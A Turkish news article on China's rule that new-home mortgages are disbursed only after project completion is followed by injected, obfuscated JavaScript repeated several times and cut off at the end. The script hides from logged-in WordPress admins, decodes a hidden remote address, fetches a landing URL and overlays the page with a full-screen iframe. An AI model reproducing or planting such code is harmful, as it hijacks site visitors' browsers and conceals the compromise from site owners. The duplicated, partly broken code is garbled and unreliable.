Çin’de bitmemiş eve konut kredisi kapısı kapandı

Çin konut piyasasında yıllardır uygulanan maketten satış modelini dönüştürecek yeni kurallar yürürlüğe girdi. Çin Merkez Bankası ile Ulusal Finansal Düzenleme İdaresi, yeni konutlarda ipotek kredilerinin proje tamamlanıp tescil edildikten sonra kullandırılmasına karar verdi.

Yeni sistemde yerel yönetimlerden de bitmiş konut satışını teşvik etmeleri istendi. Böylece alıcının projenin teslim edilmemesi riskiyle karşı karşıya kalmaması, konut satışında “önce bina, sonra kredi” yaklaşımının yaygınlaşması hedefleniyor.

Düzenleme, 2021’de başlayan konut krizinin ardından yarım kalan projeler nedeniyle zedelenen alıcı güvenini yeniden inşa etmeyi amaçlıyor. Ancak Çin konut piyasasında yüksek borç, hızlı satış ve peşin para akışına dayanan müteahhitlik modeli için yeni bir finansman sıkışıklığı da yaratıyor.

Maketten satış modeli değişiyor

Çin’de geliştiriciler uzun yıllar konutları tamamlanmadan satışa çıkarıyor, alıcılardan gelen peşinat ve mortgage kaynaklı ödemeleri inşaatın sürdürülmesinde kullanıyordu. Projelerin önemli bölümü, henüz teslim aşamasına ulaşmadan elde edilen bu kaynaklarla finanse edildi.

Yeni kuralla maketten satılan konutlarda kredi kaynağı, projenin tamamlanmasının resmen kayda geçirilmesinden sonra kullandırılacak. Maketten satış tamamen sona ermiyor; ancak geliştiriciler inşaat aşamasında alıcının kredi ödemesine eskisi kadar erken erişemeyecek.

Çin konut piyasasında 2025’te yeni konut satış alanının yaklaşık yüzde 68’i maketten satışlardan oluştu. Bu oran, düzenlemenin sektördeki nakit döngüsü açısından neden kritik olduğunu gösteriyor.

Yetkililer ayrıca yeni arsalar üzerindeki projelerde bitmiş konut satışına öncelik verilmesini, maketten satışın sürdüğü projelerde ise alıcı fonlarının daha sıkı gözetim altında tutulmasını istiyor. Amaç, konut alıcısının parasının projeden başka alanlara aktarılmasını ve teslimat riskinin büyümesini engellemek.

Alıcı korunurken müteahhit sıkışacak

Yeni düzenleme açık biçimde konut alıcısını koruyor. Alıcılar, kredi borcunun başlamasından önce konutun gerçekten tamamlandığını görme imkânı elde edecek. Teslim edilmeyen daireler, geciken projeler ve finansmanı tükenen geliştiriciler nedeniyle yaşanan güven kaybının azaltılması hedefleniyor.

Buna karşılık müteahhitler, inşaat dönemindeki nakit ihtiyaçlarını artık daha çok öz kaynak, proje kredileri veya banka finansmanı ile karşılamak zorunda kalacak. Bu durum özellikle borçluluğu yüksek ve satış hızına bağımlı küçük geliştiricilerin piyasada kalmasını zorlaştırabilir.

Düzenlemenin açıklandığı gün Çinli gayrimenkul şirketlerinin hisselerinde sert satış görüldü. CSI300 Gayrimenkul Endeksi yüzde 4,6 gerilerken Hong Kong’da işlem gören Çinli geliştiricileri izleyen endeksteki düşüş yüzde 6,5’e ulaştı. Devlet destekli bazı büyük şirketlerin hisselerinde kayıp yüzde 14’ü aştı.

Çin konut piyasasında yılın ilk yedi ayında gayrimenkul yatırımı yüzde 19,2 gerilerken, arsa satış gelirindeki düşüş yüzde 30’u aştı. Bu tablo, alıcıyı korumayı hedefleyen düzenlemenin neden aynı zamanda sektör için zor bir geçiş süreci anlamına geldiğini ortaya koyuyor.

Kurallar kapsamında bireysel konut kredilerinde azami vade de 30 yıldan 40 yıla çıkarıldı. Bu adım aylık taksiti düşürerek alıcının borç yükünü hafifletebilir. Ancak piyasa uzmanları, daha uzun vadenin tek başına konut talebini canlandırmakta yeterli olmayacağını; asıl etkinin bitmiş konut satışının yaygınlaşması ve sektördeki şirket sayısının azalmasıyla görüleceğini değerlendiriyor.

Türkiye’deki maketten satış tartışmaları açısından da Çin’in hamlesi dikkat çekiyor. İki ülkedeki finansman ve hukuk düzeni farklı olsa da, konut alıcısının teslimat riskini azaltma arayışı küresel ölçekte daha fazla öne çıkıyor.

;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
